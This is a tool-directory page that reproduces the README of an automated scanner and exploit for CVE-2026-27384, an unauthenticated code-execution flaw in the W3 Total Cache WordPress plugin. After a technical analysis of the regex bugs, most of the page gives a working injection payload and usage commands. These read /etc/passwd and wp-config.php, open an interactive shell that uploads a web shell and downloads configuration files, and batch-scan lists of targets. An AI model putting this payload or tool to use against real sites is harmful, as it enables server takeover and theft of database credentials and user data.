Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27384 — Automated scanner and exploit for CVE-2026-27384, an unauthenticated RCE in W3 Total Cache via mfunc/eval() injection. Features auto-detection, 48 payload variants, interactive shell, and batch scanning. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-27384
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Automated scanner and exploit for CVE-2026-27384, an unauthenticated RCE in W3 Total Cache via mfunc/eval() injection. Features auto-detection, 48 payload variants, interactive shell, and batch scanning.

View Repository
44 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE Scanner

Plugin: W3 Total Cache Plugin Slug: w3-total-cache CVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Arbitrary Code Execution (Code Injection via eval()) Affected Versions: <= 2.9.1 Patched Version: 2.9.2 Disclosure Date: February 24, 2026 Researcher: CODE WHITE GmbH


📌 Vulnerability Summary

The Dynamic Fragment Caching feature (mfunc/mclude system) of the W3 Total Cache plugin executes PHP code embedded in HTML comments via eval(). The W3TC_DYNAMIC_SECURITY token, which should protect this feature, can be bypassed due to the combination of multiple code flaws.

Result: Arbitrary PHP code can be executed on the server without authentication, simply by submitting a WordPress comment.


🔍 Vulnerability Overview Table

FieldValue
CVE IDCVE-2026-27384
CVSS9.8 Critical
TypeCode Injection → RCE (CWE-94)
Affected Version<= 2.9.1
Patched Version2.9.2
AuthenticationNot required
User InteractionNot required
PrerequisiteW3TC_DYNAMIC_SECURITY must contain regex metacharacters

⚙️ Technical Analysis

Feature: mfunc / mclude

W3TC's Dynamic Fragment Caching feature allows developers to embed PHP code via special comment tags in the page HTML:

<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC processes these tags when serving the page from cache: the embedded PHP is executed via eval(), and its output replaces the comment block.


Bug 1 — Missing preg_quote() (PgCache_ContentGrabber.php)

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY is inserted directly into regex
        // preg_quote() MISSING → token acts as regex pattern
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

If the token is '.', the regex becomes <!--\s*mfunc\s*.(.*)--> → any single character substitutes for the token.


Bug 2 — \s* vs \s+ Mismatch

FunctionPatternBehavior
_parse_dynamic() — executesmfunc\s*TOKENAccepts 0 spaces ✅
strip_dynamic_fragment_tags_from_string() — stripsmfunc\s+TOKENRequires at least 1 space ❌
Attacker payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      NO SPACE between mfunc and token

strip function:   \s+ → no match → payload PERSISTS
execution regex:  \s* → matches  → eval() TRIGGERS

Bug 3 — Missing Token Validation (_has_dynamic())

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Only defined() check — NO empty() or metacharacter validation
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Full Attack Chain

W3TC_DYNAMIC_SECURITY = '.'   (regex metacharacter — any character)
        │
        ▼
Attacker submits comment:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  requires \s+, no space → BYPASSED ✅
        │
        ▼
Comment stored in database, page cached
        │
        ▼
Second HTTP request → W3TC serves from cache
  _has_dynamic() → mfunc\s*.  → 'A' matches → returns true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' matches
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

🔴 Attack Impact

Without authentication, arbitrary PHP code can be executed on the server with web server privileges:

  • ✅ Full server compromise
  • ✅ Read/Write/Delete WordPress files and database
  • ✅ Install web shell / backdoor
  • ✅ Pivot to internal network
  • ✅ Exfiltrate credentials, API keys, user data

🚀 Installation

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

requests
beautifulsoup4

📖 Usage

Modes

ModeDescription
autoScan site → find comment page → exploit (default)
exploitDirect exploit — with post URL
shellInteractive shell
detectW3TC detection only

Auto Mode — Fully Automatic

python w3tc_rce.py https://target.com

The scanner will:

  1. Check if W3TC is installed
  2. Find pages with comment forms via sitemap + link following
  3. Try 48 payload variants on each page
  4. If successful, offer to open a shell

Exploit Mode — Direct

# id command
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd id

# Read /etc/passwd
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd "cat /etc/passwd"

# Read wp-config.php
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Manual Post ID
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/hello-world/ \
  --post-id 1 \
  --cmd whoami

Shell Mode — Interactive

python w3tc_rce.py https://target.com \
  --mode shell \
  --post-url https://target.com/?p=1

When the shell opens, it automatically runs whoami, hostname, pwd, uname -a:

=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://target.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.target.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Commands: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Detect Mode — Detection Only

python w3tc_rce.py https://target.com --mode detect
[+] W3TC installed!
    Version  : 2.9.1
    Cache    : True
[!] Version 2.9.1 VULNERABLE (<= 2.9.1)!

Batch Scanning

python w3tc_rce.py --list targets.txt -t 10 -o results.txt

With Proxy (Burp Suite)

python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ All Parameters

Download Tool